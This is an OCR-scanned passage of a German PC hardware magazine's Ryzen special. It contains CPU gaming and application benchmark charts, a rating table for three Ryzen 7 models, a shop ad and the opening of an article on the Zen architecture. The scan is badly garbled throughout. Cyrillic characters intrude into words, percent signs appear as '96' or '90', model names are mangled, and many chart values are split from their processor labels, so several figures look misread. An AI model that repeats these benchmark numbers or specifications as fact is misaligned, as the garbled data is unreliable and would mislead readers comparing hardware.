AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) [EX 84,4 (+56 96) 
Intel Core i7-4790K (4,0+ GHz — 4с/81) | 78,0 (+44 90) 
Intel Core i7-6800K (3,4+ GHz – 6120 EX 75,2 (+39 96) 
Intel Core i7-2600K (3,4+ GHz – 4с/81) Eu 54,0 (Basis) 
AMD FX-8300 (3,3+ GHz – Am/8t) XX 35,1 (-35 96) 
AMD Ph. Il X6 11007 (3,3+ GHz — 6c/6t) Eu 29,2 (-46 %) 
AMD FX-9590 (4,7+ GHz – Am/8t) EEE 26,3 (-51 96) 


Battlefield 1 MP (DX11) , Amiens" 


Core i7-7700K @ 720p ss ШЕШ 171,1 (+70 96) 
Core i7-7700K @ 1080p [X3 168,7 («68 %) 
Core i7-7700K @ 1440р P 159,6 (+58 90) 
Core i7-7700K @ 2160р [gg 100,7 (Basis) 


Core i7-6900K @ 720p 7 170,5 (+62 96) 
Core i7-6900K @ 1080р [a Eu 165,4 (+57 96) 
Core i7-6900K @ 1440p a ШЕШ 152,2 («44 %) 
Core i7-6900K @ 2160р [X001 105,5 (Basis) 


Ryzen 7 1800Х @ 720p Eg ШЕШ 143,1 (+42 %) 
Ryzen 7 1800X © 1080р [ag ШЕШ 144,4 (+43 %) 
Ryzen 7 1800Х @ 1440р 33; 145,1 (+44 96) 
Ryzen 7 1800X @ 2160р [s 100,8 (Basis) 


Core i5-7600K @ 720p asi 137,8 (+34 %) 
Core i5-7600K @ 1080p [ae 138,4 (+34 %) 
Core i5-7600K @ 1440p [ag px 135,8 (+32 90) 
Core i5-7600K @ 2160р [gg 103,1 (Basis) 


Ryzen 7 1700 © 720p Eas Eu 136,4 (+35 %) 
Ryzen 7 1700 © 1080р [aan 133,9 (+32 96) 
Ryzen 7 1700 © 1440р [ag 132,5 (+31 %) 
Ryzen 7 1700 © 2160р [X98 8 101,3 (Basis) 


System: Intel X99, 2170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti & 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Gesamtverbrauch in Watt in Relation zur Leistung. 


Prozent 
» Besser 


System: Intel Х99/7170, AMD X370,8 GiB RAM pro Speicherkanal (Geschwindigkeit 
jeweils laut max. CPU-Spezifikation), Nvidia Titan X (Pascal) mit 120 96 Power-Target und 
90 °C Temperatur-Target (378.78 HQ); Windows 10 64 Bit 


Minz 2 Fps 


» Besser 
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Komplett-PC 


Prozessor: Intel Core i5 6400 
Speicher: 8GB DDR3-1600 


Festplatte: 256CB SSD + 1ТВ WD 
Grafik: GTX 750Ti 2GB 
Gehäuse: CoolerMaster N300 


ART. 210742 
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be quiet! 


29 Filialen bundesweit - Besuchen Sie uns auch auf 
SAME DAY DELIVERY 


PC KONFIGURATOR 


ER WWWKMCOMPUTERDE | 9 COMPUTER 


SPECIAL | Ryzen: Test 


Partikelseuche im Rennspiel: F1 2015 


„Stormy Spain” (720p, kein AA/AF/min. Post-Processing) 


Intel Core i7-6900K (3,2+ GHz — 8c/16t 
Intel Core i7-5960X (3,0+ GHz — 8c/16t 
Intel Core i7-6800K (3,4+ GHz — 6c/12t 
Intel Core i7-5820K (3,3-- GHz — 6c/12t 
Intel Core i7-5775C (3,3+ GHz – 4c/8t 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t 
AMD Ryzen 7 1700X (3,4+ GHz - 8c/16t 
AMD Ryzen 7 1700 (3,0+ GHz - 8c/16t 
ntel Core i7-7700K (4,2+ GHz — 4c/8t) 
ntel Core i7-4790K (4,0+ GHz — 4c/8t) 


ntel Core i5-7600K (3,8+ GHz — Ac/At) 
Intel Core 15-7500 (3,4+ GHz - 4c/4t 
AMD FX-9590 (4,7+ GHz — 4m/8t) 
ntel Core i7-2600K (3,44- GHz — 4c/8t) 
ntel Core i5-4690K (3,5+ GHz — Ac/At) 
AMD ЕХ-8300 (3,3+ GHz — 4m/8t 
ntel Core i5-3570K (3,4+ GHz — 4/41) 
Intel Pentium G4560 (3,5 GHz — 2c/4t 
AMD FX-6350 (3,9+ GHz – 3m/6t 
ntel Core i5-2500K (3,3+ GHz — Ac/At) 
AMD Ph. Il X6 1100T (3,3+ GHz — 6c/6t 
AMD Ph. Il ХД 955BE (3,2 GHz — 4c/4t) 
Intel Core 2 06600 (2,4 GHz – 4с/4ї 


Sim. Ryzen 5 1600X (3,6+ GHz — 6c/12t 
Sim. Ryzen 5 1500X (3,5+ GHz - 4c/8t 


Intel Core i7-3770K (3,5+ GHz — 4c/8t 


w ws). (+126 %) 
ENS pu 115, («111 %) 
EN pu 104,3 («91 90) 
Ns 102,3 («87 %) 
TT 94,5 (+73 %) 
peu 92,7 (+70 96) 
peu 91,0 (+67 %) 
pua ШЕШ 88,6 (+62 %) 
pan БЕШИ 88,6 (+62 96) 
ENSE 71,2 (430 90) 
psg 68,6 (4-26 96) 
EEUU 68,1 (425 %) 
ПЕЛИН 64,7 (+18 %) 
Emu 61,3 (+12 %) 
K—< 54,6 (Basis) 
Eg EN 54,1 (-1 96) 

peu 54,0 (-1 96) 

ИЕШЕ ЕЕ 51,6 (-5 %) 

EEE 48,2 (-12 96) 

ШШШ 44,2 (-19 %) 

ИШӘ ШЕШ 41,6 (-24 %) 


System: Intel X99, 7170/797/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti & 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


ЮО 28,9 (-47 %) 
ШШЕ 19,4 (-64 %) 
BRE 14,8 (-73 96) 
pa Ru 89,5 (+64 90) 
enm 76,7 (+40 90) 
MSC Ø Fps 
» Besser 


ganzer Linie - und das, obwohl bis 
Redaktionsschluss mit y-Cruncher 
0.7.2.9468 erst ein einziges Pro- 
gramm bereits explizite Ryzen-Opti- 
mierungen genossen hatte. 


Neben der bereits erwähnten An- 
wendungsleistung, in der sich 
die Ryzen-Modelle dicht um die 
1.100-Euro-Achtkerner 17-6900К 
und i7-5960X von Intel gruppie- 
ren, bleibt auch in Sachen Spiele- 
leistung kaum ein Wunsch offen. 
Zwar liegen im Gaming-Bereich 
die hochtaktenden Vierkerner mit 
Hyperthreading à la Core i7-7700K 
in Front, doch bei vielen Titeln geht 
die Tendenz klar zu vermehrter Mul- 
tithread-Nutzung - in unserem Stan- 
dard-Parcours zeigt das bereits beim 
venerablen Crysis 3 und gar beim 
Intel-optimierten F1 2015 samt sei- 
ner garstigen Partikelsysteme Wir- 
kung. Reine Quadcore-Prozessoren 
- selbst aus der hochtaktenden 
Kaby-Lake-Reihe - sind in sechs 
von acht Titeln bereits chancenlos. 
Das Gute: Bereits der Ryzen 7 1700 
bietet das dafür nötige Potenzial, so- 
fern Sie bereit sind, einmal das UEFI 
aufzusuchen und den Multiplikator 
heraufzusetzen. 


Stromverbrauch und Effizienz sind 
beim Ryzen 7 ebenfalls drastisch 
verbessert. Im Anwendungsbe- 
reich liegen R7-1700X und -1700 
bei niedrigerem Absolutverbrauch 
gegenüber dem i7-6900K sogar vor 
dem Core i7-7700K und kónnen in 
Spielen ebenfalls deutlich aufschlie- 
fsen. In der Ryzen-7-Paradedisziplin 
Video-Transcoding arbeitet der R7- 
1700 quasi so schnell wie der Core 
i7-6900K, das System braucht dabei 
aber nur 162 anstelle von 180 Watt - 
die X-Modelle sind aufgrund der hó- 
heren Takte und Spannungen etwas 
weniger effizient. 


Für viele aber wohl spannender: 
Die Ryzen-5-Modelle. In deren 
unterem Preisbereich bietet Intel 
wesentlich niedriger taktende Vier- 
kerner ohne jedwede Tuning-Móg- 
lichkeit an - während der Ryzen 5 
1600X für wohl unter 300 Euro in 
Spielen nur wenig Leistung gegen- 
über den Ryzen-7-CPUs einbüßt. 
Für den Core i5-7600K spräche 
dann selbst in Spielen kaum noch 
etwas und unser simulierter R5- 
1500X lässt selbst bei Werkstakt 
dem i5-7500 oder i5-6600K kaum 
Luft zum Atmen. 


Frostbite-Engine: Dragon Age: Inquisition 


Video-Transcoding x264 Multithread 


„Hinterlands” (720p, kein AA/AF/min. Post-Processing) 


Intel Core i7-5775C (3,3+ GHz – 4c/8t 
Intel Core i7-7700K (4,2+ GHz — 4с/8ї 
Intel Core i7-6900K (3,2-- GHz — 8c/16t) 
Intel Core i7-6800K (3,4+ GHz — 6c/12t 
Intel Core i7-5960X (3,0-- GHz — 8c/16t) 
Intel Core i7-5820K (3,3-- GHz — 6c/12t) 
Intel Core i7-4790K (4,04- GHz — 4c/8t) 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t 
Intel Core i5-7600K (3,8+ GHz - 4c/4t 
AMD Ryzen 7 1700X (3,4+ GHz - 8c/16t 
AMD Ryzen 7 1700 (3,0-- GHz — 8c/16t 
Intel Core 15-7500 (3,4+ GHz - 4c/4t 


Intel Core i7-3770K (3,5+ GHz — 4c/8t 


Intel Core i7-2600K (3,4+ GHz — 4c/8t 
Intel Core i5-3570K (3,4+ GHz — 4c/At) 
Intel Core i5-4690K (3,5+ GHz — 4c/At) 
AMD FX-9590 (4,74- GHz – 4m/8t) 
Intel Pentium G4560 (3,5 GHz - 2c/4t 
Intel Core i5-2500K (3,3+ GHz — 4c/4t 
AMD FX-6350 (3,94- GHz — 3m/6t 
AMD FX-8300 (3,3+ GHz – 4m/8t 
AMD Ph. Il X6 1100T (3,3+ GHz - 6c/6t 
AMD Ph. II X4 955BE (3,2 GHz – 4c/4t 
Intel Core 2 06600 (2,4 GHz - 4с/4ї 


Sim. Ryzen 5 1600X (3,6+ GHz - 6c/12t 
Sim. Ryzen 5 1500X (3,5+ GHz - 4c/8t 


Eg 138,9 (+56 90) 
NNNM 137,7 («54 %) 
EN 135,6 («52 90) 
ВОДНИ 131,0 (+47 %) 
E pu 130,0 (+46 96) 
Log ЕЕ 128,6 (+44 90) 
Egg 1123 (+26 %) 
Esq 112.4 («26 96) 
D masl, (+25 %) 
ДЗО НН 109,0 (+22 96) 
ПНЕ 104,3 (+17 96) 
BE 103,4 (+16 96) 
a 102,7 (+15 96) 
[LU 89,3 (Basis) 
pg 86,1 (4 %) 
gi 55,4 (-4 %) 
80,6 (-10 96) 
pea ШШ 76,3 (-15 %) 
ПНЕ 7з 1 (-18 %) 
ИНЕЛІ 67,4 (-25 %) 

Fee 65,4 (-27 %) 

mú 56,9 (-36 %) 

EEE 40,9 (-54 %) 

ЮЧИ 25,7 (-71 %) 


ПИШИШИ 135 (+27 %) 
pgs 103,0 (+15 %) 


2160p-Clip (-60mbps), Profile High10 4:2:0, CRF22, Recode & Resize 


AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) 08 64,3 (-66 %) 
AMD Ryzen 7 1700X (3,4+ GHz — 8c/16t) ШШ 67,5 (-65 %) 


(н 
C 
Intel Core i7-6900K (3,2+ GHz — 8c/16t) 2371 71,7 (-62 96) 
AMD Ryzen 7 1700 (3,0+ GHz – 8c/16t) 23:3: 73,1 (-62 96) 
Intel Core i7-5960X (3,0+ GHz — 8c/16t) 25:2: 80,6 (-58 96) 
Intel Core i7-7700K (4,2-- GHz – 4c/8t) 292: 93,7 (-51 96) 


Intel Core i7-5775C (3,3+ GHz – 4c/8t) 
Intel Core i5-7600K (3,8-- GHz — 4c/4t) 


AMD FX-8300 (3,3+ GHz – 4m/8t) 
Intel Core i7-2600K (3,4+ GHz — 4c/8t) 
Intel Core i5-3570K (3,4+ GHz - 4c/4 
AMD FX-6350 (3,9+ GHz — 3m/6! 


AMD Ph. Il ХД 955BE (3,2 GHz - 4c/4! 
Intel Core 2 06600 (2,4 GHz - 4c/4 


Intel Core 17-6800К (3,4+ GHz — 6c/12t) 290888 96,9 (-49 96) 
Intel Core 17-5820К (3,3+ GHz — 6с/121) ЗЇ ЕШШ 103,9 (-45 96) 
Intel Core i7-4960X (3,6+ GHz — 6c/12t) Sätz 112,0 (-41 96) 
Intel Core i7-4790K (4,0+ GHz - 4c/8t) 36:7: 121,6 (-36 96) 
BEE 125,4 (-34 %) 
B9,3: 125,8 (-34 %) 
AMD FX-9590 (4,7+ GHz — 4m/8t) ШШШ 138,4 (-27 %) 
Intel Core i7-990X (3,46+ GHz — 6c/12t) ДОЮ 138,9 (-27 96) 
Intel Core i5-7500 (3,4+ GHz — 4с/41) ШЗ БШШШ 139,4 (-27 96) 
Intel Core i5-4690K (3,5+ GHz — 4c/4t) ДБ 162,6 (-15 96) 
Intel Core i7-3770K (3,5+ GHz — 4с/81) ДЗО 163,3 (-14 96) 
5,8 182,6 (-4 96) 
БО] WW 190,5 (Basis) 
) Bt 199,0 (+4 %) 
) 1628! p 209,4 (+10 96) 
AMD Ph. Il X6 11007 (3,34- GHz — 6c/6t) #651 ju 226,0 (+19 96) 
) БӨБ d 341,9 (+79 %) 
) S 512,8 (+169 90) 


Sim. Ryzen 5 1600X (3,6+ GHz — 6c/12t) 267588 84,0 (-56 96) 
Sim. Ryzen 5 1500X (3,5+ GHz — 4с/81) ЗВ 126,2 (-100 96) 


System: Intel X99, 2170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti & 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Mimil @ Fps 


» Besser 


System: Intel X99, 2170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 НО); Win 10 
64 Bit Bemerkungen: Neben 3D-Rendering ist Video-Transcoding eine Ryzen-Paradedisziplin. 


Sekunden 
REMI Rec. 


< Besser 
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Anwendungsleistung - die große Stärke der Ryzen-Prozessoren 


Prozessormodell 3DM Fire Strike | Cinebench R15 7-Zip Lightroom 5.7.1 | Blender 2.76 | Blender 2.78 y-Cruncher y-Cruncher 
Physik (Punkte) | (Punkte ST/MT) | (Sekunden) | (Sekunden) (Sekunden) | VC14 (Sek.) | 0.6.9.9462 (Sek.) | 0.7.2.9468 (Sek.) 

Intel Core i7-6950X 21.430 166/1.805 120 90 117 = 69,5 = 
Intel Core i7-6900K 19232 1671.483 126 93 143 106 74,6 66,1 
AMD Ryzen 7 1800X 9.312 163/1.639 184 105 140 108 108,7 90,7 
Intel Core i7-5960X 16.203 139/1.329 135 108 161 = 81,2 = 
AMD Ryzen 7 1700Х 8.246 155/1.557 191 111 149 113 113,4 94,2 
AMD Ryzen 7 1700 16.798 148/1.426 203 117 161 123 121,3 101 
Intel Core i7-6800K 5.644 156/1.114 170 111 186 = 107,7 - 
Intel Core i7-5820K 13.589 142/1.022 168 119 203 = 110,4 = 
Intel Core i7-7700K 4.240 195/974 184 118 205 154 98,5 89,7 
Intel Core i7-4790K 11.924 175/857 197 132 SEN = 127,8 = 
Intel Core 17-5775С 2.278 155/787 195 133 257 = 139,3 = 
Intel Core i7-990X 2.349 08/822 252 157 243 = 5222 = 
ntel Core i5-7600K 9.013 82/676 256 129 332 226 129,7 1135 
AMD FX-9590 8.407 13/727 208 146 415 = 256,4 = 
ntel Core i7-3770K 9.926 142/679 217 154 316 = 291,5 - 
ntel Core i5-7500 8.101 157/610 215 142 361 251 143,4 124,6 
ntel Core i5-4690K 7.482 155/565 288 150 368 = 168,3 = 
ntel Core i7-2600K 8.971 134/619 253 175 351 = 316,8 = 
ntel Core i5-3570K 6.953 134/524 285 159 431 - 348,3 = 
AMD FX-8300 6.638 971530 237 177 560 = 326,8 = 
AMD Phenom II X6 1100T 7.066 95/498 334 206 443 = 424,5 _ 
AMD FX-6350 6.238 100/469 268 184 630 = 356,2 = 
ntel Core i5-2500K 6.192 129/462 351 186 493 = 393,2 = 
ntel Pentium G4560 6.022 149/382 391 235 510 498 62] 574,4 
AMD Phenom II X4 955BE 4.742 82/325 449 259 672 = 675,8 = 
ntel Core 2 Quad Q6600 3.648 63/235 761 366 919 = 877,5 = 
Simulierter Ryzen 5 1600X 17.113 160/1.244 231 112 181 124 146,3 119,4 
Simulierter Ryzen 5 1500X 12.312 147/821 282 125 264 201 207,2 169,9 
*Sortiert nach Gesamt-Ranking im PCGH-Anwendungsindex. AMD Ryzen/Intel Core i-7000 mit DDR4-2400, Skylake mit DDR4-2133, AMD FX mit DDR3-1866. Alle Speichermodule mit 
Dual-Rank-Bestückung. Simulierte Ryzen 5 außer Konkurrenz, daher unten abgesetzt. 


PROZESSOREN 


Auszug aus Testtabelle 
mit vielen weiteren Wertungskriterien 


AMD Ryzen 7 1800X 
RYZEN 

AMD Ryzen 7 1800X 

www.pcgh.de/preis/1582191 

Ca. 535 Euro/mangelhaft 

АМА (Sockel 1331) 

Summit Ridge 

8 (16), wie Speicher-/Kerntakt 

3,6 GHz (3,7-4,1 GHz) 

32 KiByte/64 KiByte 

512 KiByte/16 MiByte 

4,8 Milliarden, 14 nm, unbekannt 


2,14 
Nicht vorhanden 


AMD Ryzen 7 1700X 
www.pcgh.de/preis/1582190 
Ca. 395 Euro/ausreichend 
AM4 (Sockel 1331) 

Summit Ridge 

8 (16), wie Speicher-/Kerntakt 
3,4 GHz (3,5-3,9 GHz) 

32 KiByte/64 KiByte 

512 KiByte/16 MiByte 

4,8 Milliarden, 14 nm, unbekannt 
2,14 

Nicht vorhanden 


AMD Ryzen 7 1700 
www.pcgh.de/preis/1582201 
Ca. 345 Euro/befriedigend 
AMA (Sockel 1331) 

Summit Ridge 

8 (16), wie Speicher-/Kerntakt 
3,0 GHz (3,2-3,75 GHz) 

32 KiByte/64 KiByte 

512 KiByte/16 MiByte 

4,8 Milliarden, 14 nm, unbekannt 
2,14 

Nicht vorhanden 


Prozessor 
PCGH-Preisvergleich 
Preis/Preis-Leistungs-Verhàltnis 

Für Mainboards mit Sockel ... 
Codename 

Anzahl Kerne/Module, Uncore-/L3-Takt 
Basistakt (Turbo für alle und einen Kern) 
L1-Cache (Daten/Befehle, je Kern/Modul) 
L2-Cache (je Kern/Modul)/LLC (gesamt) 
Transistoren, Fertigung, Die-Size 
Ausstattung (20 % der Endnote) 
Grafikeinheit 


SSE bis 4.2, AVX bis 2, AES, FMA3 
24x PCI-Express 3.0 


SSE bis 4.2, AVX bis 2, AES, FMA3 
24x PCI-Express 3.0 


SSE bis 4.2, AVX bis 2, AES, FMA3 
24x PCI-Express 3.0 


Befehlssätze und Erweiterungen (Auswahl) 
Integrierte PCI-Express-Lanes 
Eigenschaften (20 % der Endnote) 1,74 1,73 1,72 
Offener Multiplikator* Ja (bis 63,75) Ja (bis 63,75) Ja (bis 63,75) 
Übertaktung per Referenztakt?* Ja Ja Ja 
Speicherkanäle (u. max. Geschwindigkeit*/**) 2x DDR4-2667 Single-Rank/DDR4-2400 Dual-Rank 2x DDR4-2667 Single-Rank/DDR4-2400 Dual-Rank 2x DDR4-2667 Single-Rank/DDR4-2400 Dual-Rank 


TDP laut Hersteller** 95 Watt 95 Watt 65 Watt 
Systemverbrauch Leerlauf abzüglich Grafikkarte |28 Watt 28 Watt 28 Watt 
Systemverbrauch (Anno/C3/TW3)* * 224/326/281 Watt 218/315/274 Watt 206/296/262 Watt 
Systemverbrauch Spiele (Durchschnitt)* * 264 Watt 256 Watt 244 Watt 
Systemverbrauch Anwendungen (Durchschnitt)** |182 Watt 169 Watt 157 Watt 
Leistung (60 % der Endnote) 175 1,89 2,07 
Spieleindex (60 % der Leistungsnote) 80 96 71,2 % 73,8 % 
Anwendungsindex (40 % der Leistungsnote) 85,1 96 80,8 % 75,2 96 


© Schnellster Ryzen 7 ab Werk, sehr gute Rundum- © In Spielen schneller als viele Quad-, in Anwendungen © Volles Ryzen-7-Paket bei günstigem Preis, Performan- 


* Setzt Unterstützung durch das Mainboard voraus **Angabe dient nur der Information, gewertet wird die Effizienz über alle Spiele und Anwendungen. 


FAZIT 
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© Zu teuer 


leistung, gute Effizienz, freier Multiplikator 
e 


Wertung: 1,83 


fast so schnell wie Intels 1.100-Euro-Octocores 
50 Euro Aufpreis ggü. R7-1700 lohnt nur ohne OC 


Wertung: 1,91 


ce per OC leicht auf R7-1800X-Niveau anhebbar 
Q Preis-Leistungs-Tipp unter den Octo- und Hexacores 


Wertung: 2,01 


5/17 | PC Games Hardware 17 


SPECIAL | Ryzen: Architektur 


Architekturdetails zu AMDs Ryzen 


mm = a 


d DDR4- Controller 1 (72 Bit, ECO) = 


у. kaja азы 


Der Die-Plot von Summit Ridge zeigt einige interessante te Details: Neben 72-Bit-ECC-fàhigen DDR4-Controllern m das Die über zwei 16-Lane-PCI-Express- kamplexe und 
einen zusätzlichen Port (3) mit zwei Lanes. Bei (1) könnte es sich um Snoop-Filter handeln, (2) könnten die USB-Ports der SoC-Abteilung sein, (4) könnten Schnittstellen für 
das Infinity-Fabric (IF-Stops) für die Kommunikation zwischen den Core-Complexen auch über Die-Grenzen hinweg sein. 


Zwei Prozent mehr Leistung 
э Takt will AMD aus Ryzen 
gegenüber Excavator herausge- 
quetscht haben - und wir könnnen 
das in unseren Benchmarks bestä- 
tigen. In diesem Abschnitt unseres 
Ryzen-Specials beleuchten wir die 
Neuerungen der Architektur und 
zeigen auf, an welchen Punkten 
AMD den IPC-Hebel angesetzt hat, 
wo Ryzen sich Intels Core annähert 
und wo er eigene Pfade beschreitet. 


Pro Megahertz 

Die Zen-Vorläufer auf Bulldozer- 
Basis waren durchaus auch „pro 
MHz“, aber eher in dem Sinne, als 
sie für einen hohen Takt ausgelegt 


waren. Mit ihrem teils sehr hohen 
Stromverbrauch, dem eher mäßigen 
Durchsatz pro Takt und der schon 
lange veralteten Fertigung waren 
sie nicht mehr konkurrenzfähig. 


Mit dem in 14-nm-Technik gefertig- 
ten, 4,8 Mrd. Transistoren schweren 
und rund 215 mm? großen Ryzen 
hat AMD nach eigenen Angaben 
auf dem leeren Reißbrett angefan- 
gen, auch wenn man sicherlich 
das Rad nicht neu erfunden haben 
wird - und einige Dinge in Bulldo- 
zer waren gar nicht einmal so übel. 
Zielvorgabe war unter anderem das 
Stromsparen, die Skalierbarkeit der 
Architektur vom Notebook bis zum 


Data-Center-Server und eine mas- 
siv verbesserte Pro-MHz-Leistung 
(„Instructions Per Clock“, IPC). 40 
Prozent wollte AMD hier gegenüber 
der jüngsten Bulldozer-Ausbaustufe 
Excavator geworden 
sind am Ende daraus tatsächlich 
mehr als 50 Prozent. Wir messen im 
1-Thread-Test des Cinebench sogar 
bis zu 56 Prozent mehr: 130 zu 83 
Punkte bei fixierten 3,2 GHz. Bravo, 
AMD! Doch wie kommt dieser enor- 
me Zugewinn zustande? Denn im 
Single-Thread-Test kann das bewor- 
bene Simultaneous Multi-Threading 
(analog zu Intels Hyperthreading) 
nichts bewirken, auch die Vielzahl 
an Kernen hilft hier nicht weiter. 


erreichen, 


L1-Be- 
32B Fetch fehls-Cache 


(64 KiB, 

4-fach) 

Cache 

2x16B Load ЕЕЕ 
Сасһе 
(32 KiB, 
(8-fach) 


8-fach) 


1x16B Store 


Level-2- 


бк EIN 


Level-3- 
Cache 
8 MiB, 

16-fach) 


32B/Takt 


32B/Takt 


Unified 
Р Метогу 
Controller 


DRAM 


8B/Takt 
a Channel 


Auch das Cache-System stand bei AMDs Zen-Architektur auf dem Prüfstand. Während die Übertragungsbreite gegenüber Bull- 
dozer teils deutlich geweitet wurde, konnte AMD etwa bei den Register Files (hier nicht im Bild) etwas sparen. 
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Grober Überblick 

Der sogenannte „Compute Com- 
pleX“ (CCX) bildet die Basiseinheit 
für alle Zen-Prozessoren. In ihm ver- 
einen sich vier vollständige, SMT- 
fähige CPU-Kerne samt jeweils ei- 
genen L1- und L2-Caches sowie ein 
gemeinsamer, 8 MiByte fassender 
Level-3-Cache. Im Summit Ridge, 
dem Chip also, welcher für Ryzen 
genutzt wird, 
CCX zusammen mit zwei DDR4- 
Speichercontrollern, zwei 16er- und 
einem 2er-Block PCI-Express-Lanes 
als Hauptkomponenten vereint. 
Doch Summit Ridge ist als System- 
on-Chip (SoC) ausgelegt und kann 
noch mehr: 4 x USB 3 gen1 und 2 
x SATA 6Gb/s sind ebenfalls vorhan- 
den - nur eine Grafikeinheit fehlt 
dem Chip. Die jedoch wird in den 
kommenden APUs (Codename Ra- 
ven Ridge) an das sogenannte Infi- 
nity Fabric angeschlossen, über den 
heute schon die Chip-Bestandteile 
miteinander kommunizieren. 


sind zwei solcher 


Der Die-Shot (oben) legt nahe, 
dass Summit Ridge bis zu vier sol- 
cher Anschlüsse aufweist, sodass 
auch Konfigurationen mit zusätz- 
lichen CCX oder weiteren Chips 
performant angebunden und un- 


tereinander  verschaltet werden 
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können. Das Infinity Fabric ist eine 
zukunftsorientierte Weiterentwick- 
lung von Hypertransport und soll 
extrem skalierbar sein. Derzeit, so 
AMD, erreiche man beim Durch- 
satz zwischen zwei CCX und dem 
Speichercontroller in der Gegend 
von 22 GByte pro Sekunde. 


Während diese Zugriffe natürlich 
mit einer geringeren Latenz als sol- 
che auf den DDR4-Hauptspeicher 
stattfinden, haben aufmerksame 
Leser sicherlich schon bemerkt, 
dass diese Transferrate wesentlich 
niedriger liegt, als etwa die des vor- 
gelagerten L3-Caches, welcher beim 
R7-1800X im Test mit über 360 GB/s 
las und schrieb. AMD selbst gibt an, 
mit internen Tools über 400 GB/s zu 
erreichen. Der IF-Flaschenhals deu- 
tet sich auch im Test an: Unabhängig 
voneinander parallelisierbare Auf- 
gaben, wie beim 3D-Rendering mit 
Cinebench oder Blender sowie beim 
Video-Transcoding, laufen auf dem 
Ryzen rasend schnell und lassen zum 
Teil auch Intels Achtkerner pro Takt 
alt aussehen. Sobald Informationen 
jedoch zwischen den beiden CCX 
ausgetauscht werden müssen - wie 
etwa bei Spielen, wo der Status des 
Game-Loop bekannt sein muss, 
bremst die Kommunikation zwi- 
schen den CCX die Leistung. Hier 
muss AMD künftig stärker mit Ent- 
wicklern zusammenarbeiten, 
diesen Flaschenhals zu umschiffen 
- das (alte, aber klassische) Beispiel 
Crysis 3 zeigt, dass die Performance 
bei entsprechender Programmie- 
rung auch in Spielen sehr gut ausfal- 
len kann. 


um 


Die Vorderseite 

Eines der ausgemachten Bulldo- 
zer-Probleme war die sogenannte 
Front-End-Starvation. Beim Bull- 
dozer-Modulkonzept teilen sich 
zwei Integer-Kerne und eine Gleit- 
kommaeinheit ein einziges Front- 
End - das ist eine Sammlung von 
Einheiten zur Aufbereitung des 
Befehlsstroms. Mit Zen ist dieses 
Front-End nun wieder für jeden 
Kern exklusiv vorhanden. Zudem 
kommt auch jeweils eine separate 
Gleitkommaeinheit („Floating Point 
Unit“, FP) hinzu. Damit ist quasi al- 
les wieder beim Alten, nämlich an 
die klassische Aufteilung bei Prozes- 
soren angelehnt. Massiv aufgebohrt 
wurde in diesem Zuge die Sprung- 
vorhersage (Branch Prediction), 
welche nun mehrstufig arbeitet 
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Im Bild rechts: Einer der vier 
Ryzen-Rechenkerne, die sich in 
jedem Compute Complex (CCX) 
befinden. Der stark verbesserten 
Sprungvorhersage („Branch 
Prediction") hat AMD kurzfristig 
noch einen im Trend liegenden 
„Neural Net"-Anstrich verpasst. 


Branch („Neural ——— s4 


Net") Prediction 


x86-Dekoder 
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Von L3-Cache, 32 Byte pro Takt 
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o 

Micro-Op-Queue (72 Eintráge) 
Branch-Fusion/ 2 : 
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= INT-Scheduler (192 Eintràge FP-Scheduler 
Ф А 
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© Ч EI E- E _ perationen 2 2 
Š SHBBBE pro Takt) S S 
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Ein Ryzen-Core im Blockschaltbild — soweit die von AMD zur Verfügung gestellten Informationen dies zulassen. So ist immer noch 
unklar, wie viele dekodierte Micro-Ops der entsprechende Cache pro Takt liefert oder wie genau die Gleitkomma-Einheiten AVX2- 
Befehle bearbeiten. Bei letzteren gehen wir einstweilen vom Zusammenschalten der einzelnen Pipes für 256-Bit-Ops aus. 
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und sich dank tieferer Puffer besser 
an die aktuellen Nutzungsparame- 
ter anpassen soll. AMD spricht im 
Marketing-Material (im Gegensatz 
zur Technik-Dokumentation!) hier 
sogar von einer trendigen „Neural 
Net Prediction“. Viel wichtiger, gera- 
de aus energetischem Aspekt, dürfte 
jedoch die Hinzunahme eines Mikro- 
Op-Caches sein. Hier speichert der 
Chip rund 2.000 bereits genutzte 
und in Maschinensprache übersetz- 
te x86-Befehlsfolgen zwischen, so- 
dass das energieaufwändige Front- 
End bei einem Cache-Hit entweder 
schlafengelegt werden oder sich 
bereits anderen Befehlen widmen 
kann. Wie viele Mikro-Ops pro Takt 
der uOp-Cache in die Warteschlan- 
ge („uOp-Queue‘) einspeisen kann, 
gibt AMD nicht preis. Viele weitere 
Tricks, wie eine Stack-Engine, Mikro- 


Ryzen 7 1800X 


41 
BOOSTCLOCK —0 
3.9 


3.8 
37 


BASE CLOCK ——s 


25 MHz 
Granularity 


Sensors Poll 
CPU Status 
Every 
Millisecond 


Tagging von x86-Adressen und bis 
zu dreistufigen Translation-Look- 
aside-Buffern (TLB), welche bereits 
übersetzte Speicheradressen enthal- 
ten, kommen hinzu. Die uOp-Queue 
fasst 72 Einträge und füttert zusam- 
men mit der Stack-Engine den Dis- 
patcher - der kann Verzweigungen 
bei Bedarf auch wieder zusammen- 
fassen und so die Rechenwerke effi- 
zienter füttern. Dazu besitzt er sechs 
Ports, die von vier Dekodern und em 
uOp-Cache gespeist werden. 


Bei den Rechenwerken geht AMD 
den schon mit Bulldozer eingeschla- 
genen Weg in (mindestens) zwei 
Bereichen weiter: Die sechs Inte- 
ger- und vier Gleitkomma-Pipelines 
verfügen über getrennte Rename. 
und Scheduling-Einheiten sowie ei- 


A 
w 


